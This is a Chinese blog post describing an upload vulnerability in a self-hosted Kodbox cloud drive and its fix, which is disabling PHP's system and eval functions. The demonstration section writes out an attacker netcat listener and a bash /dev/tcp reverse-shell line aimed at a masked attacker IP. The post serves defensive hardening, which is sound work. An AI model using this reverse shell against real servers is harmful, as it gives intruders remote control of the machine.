部署可道云网盘的一个漏洞解决-Toy模板网

这篇具有很好参考价值的文章主要介绍了部署可道云网盘的一个漏洞解决。希望对大家有所帮助。如果存在错误或未考虑完全的地方，请大家不吝赐教，您也可以点击"举报违法"按钮提交疑问。

1漏洞展示

2.防范措施

1漏洞展示

因为可道云网盘的上传文档有保存在 /data/Group/public/home/文档/ 中,当别有用心之人知道个人部署的域名与上次的文件后，可以进行访问拿到uid。例我在我部署的网盘上上次一个aa.php 文件，然后拿来演示

部署可道云网盘的一个漏洞解决,Ngnix,nginx

然后通过域名与路径在浏览器上访问拿到uid ，对用户进行访问控制

部署可道云网盘的一个漏洞解决,Ngnix,nginx

UID（用户标识）可以用于识别用户或实体的唯一标识符。它可以用于访问特定用户的个人资料、记录用户的活动、管理用户权限和访问控制、跟踪用户行为等。在不同的系统和应用程序中，UID可以用于各种目的，例如身份验证、授权、数据分析等。UID的用途取决于具体的应用场景和需求。

2)反弹shell

这样别人就可以在他个人虚拟机上安装 nc

yum install nc -y

开启监听

nc -lvnp 9999

然后他就在访问的文件中添加bash ,即将访问控制发生给他个人的主机上

xxxx -i >& /dev/tcp/192.168.XX.XXX/9999 0>&1 
#xxxx表示bash
# 攻击机的ip地址：192.168.XX.XXX
# 攻击机nc监听的端口：9999

然后他再次访问，就可以拿到控制权限

部署可道云网盘的一个漏洞解决,Ngnix,nginx

禁用 system 函数

vim /etc/php.ini
# 修改314行
314 disable_functions = system,eval
# 重启php-fpm
systemctl restart php-fpm.service 
# 然后再监听，再访问就发现反弹不了了。

步骤，来到 vim 下，没进入编辑前，先 :/disable ，即查找关键字disable；然后：set number ，显示行数，找到314 行，进行修改

部署可道云网盘的一个漏洞解决,Ngnix,nginx

再次监听后就拿不到 uid 了部署可道云网盘的一个漏洞解决,Ngnix,nginx 文章来源地址https://www.toymoban.com/news/detail-819420.html

到了这里，关于部署可道云网盘的一个漏洞解决的文章就介绍完了。如果您还想了解更多内容，请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章，希望大家以后多多支持TOY模板网！